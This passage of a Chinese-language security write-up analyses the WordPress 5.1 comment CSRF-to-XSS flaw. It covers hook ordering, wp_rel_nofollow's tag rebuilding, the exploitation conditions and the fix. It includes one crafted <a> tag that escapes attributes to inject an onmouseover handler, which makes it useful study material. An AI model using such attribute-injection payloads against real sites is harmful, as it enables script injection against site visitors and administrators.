他们的不同在于过滤的严格度上，其实都一样是白名单过滤。 但是跟`pre_comment_content`的钩子函数组合起来，就发送了属性逃逸。
看一下这个两个函数的定义。
传入的第二参数不同，决定了后面允许使用的标签和属性的白名单不同。影响第二个钩子函数。即使这里addslashes转义了字符内容，紧接着下一个钩子涉及到对属性的处理，会恢复被转义字符内容。
`pre_comment_content` 标签的钩子有默认的4个钩子(我习惯叫钩子函数)，分别是 `convert_invalid_entities`
，`wp_targeted_link_rel`，`wp_rel_nofollow`，balance
根据优先级排序。第一个把€及以后的实体转成相应的合法的unicode实体，第二个处理a标签 中 **target**
属性的，第三个是重点了两个重要钩子中的第二个，给a标签添加 _rel_
属性为nofollow，如果存在rel属性则在其属性值中添加nofollow，并去掉原来的 _rel_ 属性值，其过程会重新拼接a标签。
`wp_rel_nofollow` 钩子在`pre_comment_content`中优先级为15，当插入 `wp_filter_post_kses`
钩子时使用的默认值是10，在wp中执行钩子时会有优先级判断，刚好`wp_filter_post_kses`也在前，所以也不涉及到对后面溢出的属性重新处理。
前面说了`wp_filter_post_kses` 和
`wp_filter_kses`的不同在于使用的白名单不同。前者传入的是post，后者传入是`current_filter()`,这个值很好理解，这一系列钩子都在`pre_comment_content`
标签下。所以理所当然是`pre_comment_content`,选择过程如下：
看当 post的情况下，默认是没有注册`wp_kses_allowed_html`标签的，即每一步的`apply_filters()`
返回输入的第一个值，post 的`$allowedpostags`包含的标签及其属性是比较多的，`pre_comment_content` 只能走到默认
`$allowedtags`.其中`\$allowedtags` 包含情况如下：
可以看到a标签中的只允许 href 和title，而post 的$allowedpostags是允许包含rel属性的
在第二部重要的钩子 `wp_rel_nofollow` 中，其中存在rel属性时才会去重新拼接，造成额外的属性溢出。所以这就是差异之处，确实考虑到了
**XSS** 的执行，都是用的白名单，但经过重新拼接会出现额外的属性。列如
<a title= ‘ maple? ” onmouseover=alert(1) id=” ‘ rel=”anything”>
通过拼接变成
<a title = ” maple”? onmouseover=alert(1) id=”" rel =”anything nofollow”>
在后面的过程中属性里面的特殊字符会被转义成实体。涉及到写js的可能需要绕一下不能用引号和双引号，可以这样绕一下
playload如下：
### 0×03 总结
#### 3.1 利用条件
其实这个洞再利用条件的有一定限定RIPS也没有指出来，我在刚做时候，我添加了一个评论，我没有去文章页面看，我去的后台管理界面评论管理处看，发现并没有出现
**xss** 的情况，我很诧异不应该是一样吗？而后发现在输出评论前
进行了标签为 **comment_text** 的过滤器，其中包含了 **wp_kses_post** 钩子
这也是为什么后台不行。但是应该这个思路，文章显示处也肯定用了这个标签的过滤器，但是理论上是没有使用的，因为使用以后溢出的属性会被过滤掉。
在仔细跟一下，发现确实有存在使用这个标签的情况，对`comment_text`过滤器的使用在`check_comment()`中
是个判断，看到这里你是否明白了这个使用的限定的条件？也就是说用户评论自己的文章时是不需要check的，所以这里存在一定使用条件，在进行添加评论的时候必须是管理员发布的文章才行。
这个洞其实一眼真的很难看出来。白名单验证，直接就放弃了。可不曾想存在一个弄巧的钩子。官方修复在验证 **wpnonce**
不成立时给强制加了`wp_filter_kses`完全限定死了。当然了这个csrf依然存在。因为涉及到wp的特性
**pingback/trackback** 。总的来说还是非常细节的，在挖洞只能拼细节在这种流行的框架下。
### 0X04 修复建议
wp默认是开启自动更新的，最新版本中已经得到修复，若关闭自动更新的环境，请及时检查更新。
<https://wordpress.org/news/2019/03/wordpress-5-1-1-security-and-maintenance-release/>
可手动修复：
### 0×05 参考连接
<https://blog.ripstech.com/2019/wordpress-csrf-to-rce/>
* * * | 社区文章 |
Subsets and Splits